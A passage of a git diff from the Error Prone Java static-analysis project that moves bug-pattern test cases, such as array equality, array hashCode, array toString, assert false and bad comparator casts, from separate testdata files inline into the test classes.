core/src/test/java/com/google/errorprone/bugpatterns/testdata/StaticQualifiedUsingExpressionNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/StaticQualifiedUsingExpressionPositiveCase1.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/StaticQualifiedUsingExpressionPositiveCase2.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/StringBuilderInitWithCharNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/StringBuilderInitWithCharPositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/StringSplitterNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/StringSplitterPositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/SuppressWarningsDeprecatedNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/SuppressWarningsDeprecatedPositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/SwigMemoryLeakNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/SwigMemoryLeakPositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/ThreadJoinLoopNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/ThreadJoinLoopPositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/ThreadJoinLoopPositiveCases_expected.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/ThrowIfUncheckedKnownCheckedTestNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/ThrowIfUncheckedKnownCheckedTestPositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/ThrowsUncheckedExceptionNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/ThrowsUncheckedExceptionPositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/TreeToStringNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/TreeToStringPositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/TruthAssertExpectedNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/TruthAssertExpectedPositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/TruthConstantAssertsNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/TruthConstantAssertsPositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/TryFailThrowableNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/TryFailThrowablePositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/URLEqualsHashCodeNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/URLEqualsHashCodePositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/UngroupedOverloadsNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/UngroupedOverloadsPositiveCasesCovering.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/UngroupedOverloadsPositiveCasesCoveringOnlyOnFirst.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/UngroupedOverloadsPositiveCasesInterleaved.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/UngroupedOverloadsPositiveCasesMultiple.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/UngroupedOverloadsPositiveCasesSingle.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/UngroupedOverloadsRefactoringComments.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/UngroupedOverloadsRefactoringComments_expected.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/UngroupedOverloadsRefactoringInterleaved.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/UngroupedOverloadsRefactoringInterleaved_expected.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/UngroupedOverloadsRefactoringMultiple.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/UngroupedOverloadsRefactoringMultiple_expected.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/UnnecessaryBoxedAssignmentCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/UnnecessaryBoxedAssignmentCases_expected.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/UnnecessaryBoxedVariableCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/UnnecessaryBoxedVariableCases_expected.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/UnnecessaryLongToIntConversionNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/UnnecessaryLongToIntConversionPositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/UnsafeReflectiveConstructionCastNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/WaitNotInLoopNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/time/testdata/TimeUnitMismatchNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/time/testdata/TimeUnitMismatchPositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/dataflow/nullnesspropagation/testdata/NullnessPropagationTransferCases1.java delete mode 100644 core/src/test/java/com/google/errorprone/dataflow/nullnesspropagation/testdata/NullnessPropagationTransferCases2.java delete mode 100644 core/src/test/java/com/google/errorprone/dataflow/nullnesspropagation/testdata/NullnessPropagationTransferCases3.java delete mode 100644 core/src/test/java/com/google/errorprone/dataflow/nullnesspropagation/testdata/NullnessPropagationTransferCases4.java delete mode 100644 core/src/test/java/com/google/errorprone/dataflow/nullnesspropagation/testdata/NullnessPropagationTransferCases5.java delete mode 100644 core/src/test/java/com/google/errorprone/dataflow/nullnesspropagation/testdata/NullnessPropagationTransferCases6.java delete mode 100644 core/src/test/java/com/google/errorprone/dataflow/nullnesspropagation/testdata/NullnessPropagationTransferCases7.java delete mode 100644 core/src/test/java/com/google/errorprone/dataflow/nullnesspropagation/testdata/NullnessPropagationTransferCases8.java diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/ArrayEqualsTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/ArrayEqualsTest.java index e62daab7719..1b81fd1f0a6 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/ArrayEqualsTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/ArrayEqualsTest.java @@ -32,21 +32,257 @@ public class ArrayEqualsTest { @Test public void positiveCase() { - compilationHelper.addSourceFile("testdata/ArrayEqualsPositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "ArrayEqualsPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import com.google.common.base.Objects; + + /** + * @author eaftan@google.com (Eddie Aftandilian) + */ + public class ArrayEqualsPositiveCases { + + public void intArray() { + int[] a = {1, 2, 3}; + int[] b = {1, 2, 3}; + + // BUG: Diagnostic contains: Arrays.equals(a, b) + if (a.equals(b)) { + System.out.println("arrays are equal!"); + } else { + System.out.println("arrays are not equal!"); + } + + // BUG: Diagnostic contains: Arrays.equals(a, b) + if (Objects.equal(a, b)) { + System.out.println("arrays are equal!"); + } else { + System.out.println("arrays are not equal!"); + } + } + + public void objectArray() { + Object[] a = new Object[3]; + Object[] b = new Object[3]; + + // BUG: Diagnostic contains: Arrays.equals(a, b) + if (a.equals(b)) { + System.out.println("arrays are equal!"); + } else { + System.out.println("arrays are not equal!"); + } + + // BUG: Diagnostic contains: Arrays.equals(a, b) + if (Objects.equal(a, b)) { + System.out.println("arrays are equal!"); + } else { + System.out.println("arrays are not equal!"); + } + } + + public void firstMethodCall() { + String s = "hello"; + char[] b = new char[3]; + + // BUG: Diagnostic contains: Arrays.equals(s.toCharArray(), b) + if (s.toCharArray().equals(b)) { + System.out.println("arrays are equal!"); + } else { + System.out.println("arrays are not equal!"); + } + } + + public void secondMethodCall() { + char[] a = new char[3]; + String s = "hello"; + + // BUG: Diagnostic contains: Arrays.equals(a, s.toCharArray()) + if (a.equals(s.toCharArray())) { + System.out.println("arrays are equal!"); + } else { + System.out.println("arrays are not equal!"); + } + } + + public void bothMethodCalls() { + String s1 = "hello"; + String s2 = "world"; + + // BUG: Diagnostic contains: Arrays.equals(s1.toCharArray(), s2.toCharArray()) + if (s1.toCharArray().equals(s2.toCharArray())) { + System.out.println("arrays are equal!"); + } else { + System.out.println("arrays are not equal!"); + } + } + }""") + .doTest(); } @Test public void java7PositiveCase() { - compilationHelper.addSourceFile("testdata/ArrayEqualsPositiveCases2.java").doTest(); + compilationHelper + .addSourceLines( + "ArrayEqualsPositiveCases2.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import java.util.Objects; + + /** + * Tests that only run with Java 7 and above. + * + * @author eaftan@google.com (Eddie Aftandilian) + */ + public class ArrayEqualsPositiveCases2 { + + public void intArray() { + int[] a = {1, 2, 3}; + int[] b = {1, 2, 3}; + + // BUG: Diagnostic contains: Arrays.equals(a, b) + if (Objects.equals(a, b)) { + System.out.println("arrays are equal!"); + } else { + System.out.println("arrays are not equal!"); + } + } + + public void objectArray() { + Object[] a = new Object[3]; + Object[] b = new Object[3]; + + // BUG: Diagnostic contains: Arrays.equals(a, b) + if (Objects.equals(a, b)) { + System.out.println("arrays are equal!"); + } else { + System.out.println("arrays are not equal!"); + } + } + }""") + .doTest(); } @Test public void negativeCase() { - compilationHelper.addSourceFile("testdata/ArrayEqualsNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "ArrayEqualsNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import com.google.common.base.Objects; + + /** + * @author eaftan@google.com (Eddie Aftandilian) + */ + public class ArrayEqualsNegativeCases { + public void neitherArray() { + Object a = new Object(); + Object b = new Object(); + + if (a.equals(b)) { + System.out.println("Objects are equal!"); + } else { + System.out.println("Objects are not equal!"); + } + + if (Objects.equal(a, b)) { + System.out.println("Objects are equal!"); + } else { + System.out.println("Objects are not equal!"); + } + } + + public void firstArray() { + Object[] a = new Object[3]; + Object b = new Object(); + + if (a.equals(b)) { + System.out.println("arrays are equal!"); + } else { + System.out.println("arrays are not equal!"); + } + + if (Objects.equal(a, b)) { + System.out.println("Objects are equal!"); + } else { + System.out.println("Objects are not equal!"); + } + } + + public void secondArray() { + Object a = new Object(); + Object[] b = new Object[3]; + + if (a.equals(b)) { + System.out.println("arrays are equal!"); + } else { + System.out.println("arrays are not equal!"); + } + + if (Objects.equal(a, b)) { + System.out.println("Objects are equal!"); + } else { + System.out.println("Objects are not equal!"); + } + } + }""") + .doTest(); } @Test public void java7NegativeCase() { - compilationHelper.addSourceFile("testdata/ArrayEqualsNegativeCases2.java").doTest(); + compilationHelper + .addSourceLines( + "ArrayEqualsNegativeCases2.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import java.util.Objects; + + /** + * Tests that only run with Java 7 and above. + * + * @author eaftan@google.com (Eddie Aftandilian) + */ + public class ArrayEqualsNegativeCases2 { + public void neitherArray() { + Object a = new Object(); + Object b = new Object(); + + if (Objects.equals(a, b)) { + System.out.println("Objects are equal!"); + } else { + System.out.println("Objects are not equal!"); + } + } + + public void firstArray() { + Object[] a = new Object[3]; + Object b = new Object(); + + if (Objects.equals(a, b)) { + System.out.println("arrays are equal!"); + } else { + System.out.println("arrays are not equal!"); + } + } + + public void secondArray() { + Object a = new Object(); + Object[] b = new Object[3]; + + if (Objects.equals(a, b)) { + System.out.println("arrays are equal!"); + } else { + System.out.println("arrays are not equal!"); + } + } + }""") + .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/ArrayHashCodeTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/ArrayHashCodeTest.java index da52cd2dbb1..f57d4f24def 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/ArrayHashCodeTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/ArrayHashCodeTest.java @@ -32,17 +32,168 @@ public class ArrayHashCodeTest { @Test public void positiveCase() { - compilationHelper.addSourceFile("testdata/ArrayHashCodePositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "ArrayHashCodePositiveCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import com.google.common.base.Objects; + +/** + * @author eaftan@google.com (Eddie Aftandilian) + */ +public class ArrayHashCodePositiveCases { + private Object[] objArray = {1, 2, 3}; + private String[] stringArray = {"1", "2", "3"}; + private int[] intArray = {1, 2, 3}; + private byte[] byteArray = {1, 2, 3}; + private int[][] multidimensionalIntArray = {{1, 2, 3}, {4, 5, 6}}; + private String[][] multidimensionalStringArray = {{"1", "2", "3"}, {"4", "5", "6"}}; + + public void objectHashCode() { + int hashCode; + // BUG: Diagnostic contains: Arrays.hashCode(objArray) + hashCode = objArray.hashCode(); + // BUG: Diagnostic contains: Arrays.hashCode(stringArray) + hashCode = stringArray.hashCode(); + // BUG: Diagnostic contains: Arrays.hashCode(intArray) + hashCode = intArray.hashCode(); + + // BUG: Diagnostic contains: Arrays.deepHashCode(multidimensionalIntArray) + hashCode = multidimensionalIntArray.hashCode(); + // BUG: Diagnostic contains: Arrays.deepHashCode(multidimensionalStringArray) + hashCode = multidimensionalStringArray.hashCode(); + } + + public void guavaObjectsHashCode() { + int hashCode; + // BUG: Diagnostic contains: Arrays.hashCode(intArray) + hashCode = Objects.hashCode(intArray); + // BUG: Diagnostic contains: Arrays.hashCode(byteArray) + hashCode = Objects.hashCode(byteArray); + + // BUG: Diagnostic contains: Arrays.deepHashCode(multidimensionalIntArray) + hashCode = Objects.hashCode(multidimensionalIntArray); + // BUG: Diagnostic contains: Arrays.deepHashCode(multidimensionalStringArray) + hashCode = Objects.hashCode(multidimensionalStringArray); + } + + public void varargsHashCodeOnMoreThanOneArg() { + int hashCode; + // BUG: Diagnostic contains: Objects.hashCode(Arrays.hashCode(objArray), + // Arrays.hashCode(intArray)) + hashCode = Objects.hashCode(objArray, intArray); + // BUG: Diagnostic contains: Objects.hashCode(Arrays.hashCode(stringArray), + // Arrays.hashCode(byteArray)) + hashCode = Objects.hashCode(stringArray, byteArray); + + Object obj1 = new Object(); + Object obj2 = new Object(); + // BUG: Diagnostic contains: Objects.hashCode(obj1, obj2, Arrays.hashCode(intArray)) + hashCode = Objects.hashCode(obj1, obj2, intArray); + // BUG: Diagnostic contains: Objects.hashCode(obj1, Arrays.hashCode(intArray), obj2) + hashCode = Objects.hashCode(obj1, intArray, obj2); + // BUG: Diagnostic contains: Objects.hashCode(Arrays.hashCode(intArray), obj1, obj2) + hashCode = Objects.hashCode(intArray, obj1, obj2); + + // BUG: Diagnostic contains: Objects.hashCode(obj1, obj2, + // Arrays.deepHashCode(multidimensionalIntArray)) + hashCode = Objects.hashCode(obj1, obj2, multidimensionalIntArray); + // BUG: Diagnostic contains: Objects.hashCode(obj1, obj2, + // Arrays.deepHashCode(multidimensionalStringArray)) + hashCode = Objects.hashCode(obj1, obj2, multidimensionalStringArray); + } +}""") + .doTest(); } @Test public void negativeCase() { - compilationHelper.addSourceFile("testdata/ArrayHashCodeNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "ArrayHashCodeNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import com.google.common.base.Objects; + + /** + * @author eaftan@google.com (Eddie Aftandilian) + */ + public class ArrayHashCodeNegativeCases { + + private Object[] objArray = {1, 2, 3}; + private String[] stringArray = {"1", "2", "3"}; + private int[] intArray = {1, 2, 3}; + private byte[] byteArray = {1, 2, 3}; + private Object obj = new Object(); + private String str = "foo"; + + public void objectHashCodeOnNonArrayType() { + int hashCode; + hashCode = obj.hashCode(); + hashCode = str.hashCode(); + } + + public void varagsHashCodeOnNonArrayType() { + int hashCode; + hashCode = Objects.hashCode(obj); + hashCode = Objects.hashCode(str); + } + + public void varagsHashCodeOnObjectOrStringArray() { + int hashCode; + hashCode = Objects.hashCode(objArray); + hashCode = Objects.hashCode((Object[]) stringArray); + } + }""") + .doTest(); } /** Tests java.util.Objects hashCode methods, which are only in JDK 7 and above. */ @Test public void java7NegativeCase() { - compilationHelper.addSourceFile("testdata/ArrayHashCodeNegativeCases2.java").doTest(); + compilationHelper + .addSourceLines( + "ArrayHashCodeNegativeCases2.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import java.util.Objects; + + /** + * Java 7 specific tests + * + * @author eaftan@google.com (Eddie Aftandilian) + */ + public class ArrayHashCodeNegativeCases2 { + + private Object[] objArray = {1, 2, 3}; + private String[] stringArray = {"1", "2", "3"}; + private int[] intArray = {1, 2, 3}; + private byte[] byteArray = {1, 2, 3}; + private Object obj = new Object(); + private String str = "foo"; + + public void nonVaragsHashCodeOnNonArrayType() { + int hashCode; + hashCode = Objects.hashCode(obj); + hashCode = Objects.hashCode(str); + } + + public void varagsHashCodeOnNonArrayType() { + int hashCode; + hashCode = Objects.hash(obj); + hashCode = Objects.hash(str); + } + + public void varagsHashCodeOnObjectOrStringArray() { + int hashCode; + hashCode = Objects.hash(objArray); + hashCode = Objects.hash((Object[]) stringArray); + } + }""") + .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/ArrayToStringTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/ArrayToStringTest.java index 79e28d1e628..6e46908d040 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/ArrayToStringTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/ArrayToStringTest.java @@ -34,12 +34,103 @@ public class ArrayToStringTest { @Test public void positiveCase() { - compilationHelper.addSourceFile("testdata/ArrayToStringPositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "ArrayToStringPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import java.util.*; + + /** + * @author adgar@google.com (Mike Edgar) + */ + public class ArrayToStringPositiveCases { + + public void intArray() { + int[] a = {1, 2, 3}; + + // BUG: Diagnostic contains: Arrays.toString(a) + if (a.toString().isEmpty()) { + System.out.println("int array string is empty!"); + } else { + System.out.println("int array string is nonempty!"); + } + } + + public void objectArray() { + Object[] a = new Object[3]; + + // BUG: Diagnostic contains: Arrays.toString(a) + if (a.toString().isEmpty()) { + System.out.println("object array string is empty!"); + } else { + System.out.println("object array string is nonempty!"); + } + } + + public void firstMethodCall() { + String s = "hello"; + + // BUG: Diagnostic contains: Arrays.toString(s.toCharArray()) + if (s.toCharArray().toString().isEmpty()) { + System.out.println("char array string is empty!"); + } else { + System.out.println("char array string is nonempty!"); + } + } + + public void secondMethodCall() { + char[] a = new char[3]; + + // BUG: Diagnostic contains: Arrays.toString(a) + if (a.toString().isEmpty()) { + System.out.println("array string is empty!"); + } else { + System.out.println("array string is nonempty!"); + } + } + + public void throwable() { + Exception e = new RuntimeException(); + // BUG: Diagnostic contains: Throwables.getStackTraceAsString(e) + System.out.println(e.getStackTrace().toString()); + } + + public void arrayOfArrays() { + int[][] a = {}; + // BUG: Diagnostic contains: Arrays.deepToString(a) + System.out.println(a); + } + }""") + .doTest(); } @Test public void negativeCase() { - compilationHelper.addSourceFile("testdata/ArrayToStringNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "ArrayToStringNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import java.util.*; + + /** + * @author adgar@google.com (Mike Edgar) + */ + public class ArrayToStringNegativeCases { + public void objectEquals() { + Object a = new Object(); + + if (a.toString().isEmpty()) { + System.out.println("string is empty!"); + } else { + System.out.println("string is not empty!"); + } + } + }""") + .doTest(); } @Test @@ -195,28 +286,109 @@ void test(Exception e) { @Test public void positiveCompoundAssignment() { compilationHelper - .addSourceFile("testdata/ArrayToStringCompoundAssignmentPositiveCases.java") + .addSourceLines( + "ArrayToStringCompoundAssignmentPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import java.util.*; + + /** + * @author adgar@google.com (Mike Edgar) + */ + public class ArrayToStringCompoundAssignmentPositiveCases { + + private static final int[] a = {1, 2, 3}; + + public void stringVariableAddsArrayAndAssigns() { + String b = "a string"; + // BUG: Diagnostic contains: += Arrays.toString(a) + b += a; + } + }""") .doTest(); } @Test public void negativeCompoundAssignment() { compilationHelper - .addSourceFile("testdata/ArrayToStringCompoundAssignmentNegativeCases.java") + .addSourceLines( + "ArrayToStringCompoundAssignmentNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * @author adgar@google.com (Mike Edgar) + */ + public class ArrayToStringCompoundAssignmentNegativeCases { + public void concatenateCompoundAssign_object() { + Object a = new Object(); + String b = " a string"; + b += a; + } + + public void concatenateCompoundAssign_int() { + int a = 5; + String b = " a string "; + b += a; + } + }""") .doTest(); } @Test public void positiveConcat() { compilationHelper - .addSourceFile("testdata/ArrayToStringConcatenationPositiveCases.java") + .addSourceLines( + "ArrayToStringConcatenationPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import java.util.*; + + /** + * @author adgar@google.com (Mike Edgar) + */ + public class ArrayToStringConcatenationPositiveCases { + + private static final int[] a = {1, 2, 3}; + + public void stringLiteralLeftOperandIsArray() { + // BUG: Diagnostic contains: Arrays.toString(a) + + String b = a + " a string"; + } + + public void stringLiteralRightOperandIsArray() { + // BUG: Diagnostic contains: + Arrays.toString(a) + String b = "a string" + a; + } + }""") .doTest(); } @Test public void negativeConcat() { compilationHelper - .addSourceFile("testdata/ArrayToStringConcatenationNegativeCases.java") + .addSourceLines( + "ArrayToStringConcatenationNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * @author adgar@google.com (Mike Edgar) + */ + public class ArrayToStringConcatenationNegativeCases { + public void notArray() { + Object a = new Object(); + String b = a + " a string"; + } + + public void notArray_refactored() { + Object a = new Object(); + String b = " a string"; + String c = a + b; + } + }""") .doTest(); } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/AssertFalseTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/AssertFalseTest.java index b6f94614550..10883b78bbb 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/AssertFalseTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/AssertFalseTest.java @@ -32,11 +32,45 @@ public class AssertFalseTest { @Test public void negativeCase() { - compilationHelper.addSourceFile("testdata/AssertFalseNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "AssertFalseNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * @author sebastian.h.monte@gmail.com (Sebastian Monte) + */ + public class AssertFalseNegativeCases { + + public void assertTrue() { + assert true; + } + + public void assertFalseFromCondition() { + assert 0 == 1; + } + }""") + .doTest(); } @Test public void positiveCase() { - compilationHelper.addSourceFile("testdata/AssertFalsePositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "AssertFalsePositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * @author sebastian.h.monte@gmail.com (Sebastian Monte) + */ + public class AssertFalsePositiveCases { + public void assertFalse() { + // BUG: Diagnostic contains: throw new AssertionError() + assert false; + } + }""") + .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/AsyncFunctionReturnsNullTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/AsyncFunctionReturnsNullTest.java index 5dda741ad08..d04d9904eff 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/AsyncFunctionReturnsNullTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/AsyncFunctionReturnsNullTest.java @@ -29,11 +29,117 @@ public class AsyncFunctionReturnsNullTest { @Test public void positiveCase() { - compilationHelper.addSourceFile("testdata/AsyncFunctionReturnsNullPositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "AsyncFunctionReturnsNullPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import static com.google.common.util.concurrent.Futures.immediateFuture; + + import com.google.common.util.concurrent.AsyncFunction; + import com.google.common.util.concurrent.ListenableFuture; + + /** Positive cases for {@link AsyncFunctionReturnsNull}. */ + public class AsyncFunctionReturnsNullPositiveCases { + static void listenableFutures() { + new AsyncFunction() { + @Override + public ListenableFuture apply(String input) throws Exception { + // BUG: Diagnostic contains: immediateFuture(null) + return null; + } + }; + + new AsyncFunction() { + @Override + public ListenableFuture apply(Object o) { + if (o instanceof String) { + return immediateFuture((String) o); + } + // BUG: Diagnostic contains: immediateFuture(null) + return null; + } + }; + } + + static class MyAsyncFunction implements AsyncFunction { + @Override + public ListenableFuture apply(Object input) throws Exception { + return immediateFuture(input.toString()); + } + } + }""") + .doTest(); } @Test public void negativeCase() { - compilationHelper.addSourceFile("testdata/AsyncFunctionReturnsNullNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "AsyncFunctionReturnsNullNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import static com.google.common.util.concurrent.Futures.immediateFuture; + + import com.google.common.base.Function; + import com.google.common.util.concurrent.AsyncFunction; + import com.google.common.util.concurrent.ListenableFuture; + import java.util.function.Supplier; + import org.jspecify.annotations.Nullable; + + /** Negative cases for {@link AsyncFunctionReturnsNull}. */ + public class AsyncFunctionReturnsNullNegativeCases { + static { + new AsyncFunction() { + @Override + public ListenableFuture apply(String input) throws Exception { + return immediateFuture(null); + } + }; + + new Function() { + @Override + public Object apply(String input) { + return null; + } + }; + + new AsyncFunction() { + @Override + public ListenableFuture apply(String input) throws Exception { + return apply(input, input); + } + + public ListenableFuture apply(String input1, String input2) { + return null; + } + }; + + new MyNonAsyncFunction() { + @Override + public ListenableFuture apply(String input) throws Exception { + return null; + } + }; + + new AsyncFunction() { + @Override + public ListenableFuture apply(String input) throws Exception { + Supplier s = + () -> { + return null; + }; + return immediateFuture(s.get()); + } + }; + } + + interface MyNonAsyncFunction { + ListenableFuture apply(@Nullable I input) throws Exception; + } + }""") + .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/BadComparableTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/BadComparableTest.java index 985c47d3d21..63594f2716f 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/BadComparableTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/BadComparableTest.java @@ -31,11 +31,207 @@ public class BadComparableTest { @Test public void positiveCase() { - compilationHelper.addSourceFile("testdata/BadComparablePositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "BadComparablePositiveCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import java.io.File; +import java.util.Comparator; + +/** + * @author irogers@google.com (Ian Rogers) + */ +public class BadComparablePositiveCases { + static class ComparableTest implements Comparable { + private final long value = 0; + + public int compareTo(ComparableTest other) { + // BUG: Diagnostic contains: return Long.compare(value, other.value); + return (int) (value - other.value); + } + } + + static class BoxedComparableTest implements Comparable { + private final Long value = Long.valueOf(0); + + public int compareTo(BoxedComparableTest other) { + // BUG: Diagnostic contains: return value.compareTo(other.value); + return (int) (value - other.value); + } + } + + static final Comparator COMPARATOR_UNBOXED_INT_CAST = + new Comparator() { + public int compare(Number n1, Number n2) { + // BUG: Diagnostic contains: return Long.compare(n1.longValue(), n2.longValue()) + return (int) (n1.longValue() - n2.longValue()); + } + }; + + static final Comparator COMPARATOR_BOXED_INT_CAST = + new Comparator() { + public int compare(Long n1, Long n2) { + // BUG: Diagnostic contains: return n1.compareTo(n2) + return (int) (n1 - n2); + } + }; + + static final Comparator COMPARATOR_FILE_INT_CAST = + new Comparator() { + public int compare(File lhs, File rhs) { + // BUG: Diagnostic contains: return Long.compare(rhs.lastModified(), lhs.lastModified()) + return (int) (rhs.lastModified() - lhs.lastModified()); + } + }; +}""") + .doTest(); } @Test public void negativeCase() { - compilationHelper.addSourceFile("testdata/BadComparableNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "BadComparableNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import java.util.Comparator; + + /** + * @author irogers@google.com (Ian Rogers) + */ + public class BadComparableNegativeCases { + // The corrected cases of the PositiveCases test. + static class ComparableTest implements Comparable { + private final long value = 0; + + public int compareTo(ComparableTest other) { + return Long.compare(value, other.value); + } + } + + static class BoxedComparableTest implements Comparable { + private final Long value = Long.valueOf(0); + + public int compareTo(BoxedComparableTest other) { + return value.compareTo(other.value); + } + } + + static final Comparator COMPARATOR_UNBOXED_INT_CAST = + new Comparator() { + public int compare(Number n1, Number n2) { + return Long.compare(n1.longValue(), n2.longValue()); + } + }; + + static final Comparator COMPARATOR_BOXED_INT_CAST = + new Comparator() { + public int compare(Long n1, Long n2) { + return n1.compareTo(n2); + } + }; + + // Don't match non-Comparable or Comparator cases. + static class NonComparableTest { + private final long value = 0; + + public int compareTo(ComparableTest other) { + return (int) (value - other.value); + } + } + + static final Object COMPARATOR_LIKE_INT_CAST = + new Object() { + public int compare(Long n1, Long n2) { + return (int) (n1 - n2); + } + }; + + // Narrowing conversions that don't follow the long -> int pattern. + static final Comparator COMPARATOR_UNBOXED_NON_PATTERN_LONG_CAST = + new Comparator() { + // To match the Comparator API. + @Override + public int compare(Number n1, Number n2) { + return (int) (n1.intValue() - n2.intValue()); + } + + public short compare(int n1, int n2) { + return (short) (n1 - n2); + } + + public byte compare(long n1, long n2) { + return (byte) (n1 - n2); + } + }; + + // Not narrowing conversions. + static final Comparator COMPARATOR_UNBOXED_NON_NARROW_LONG_CAST 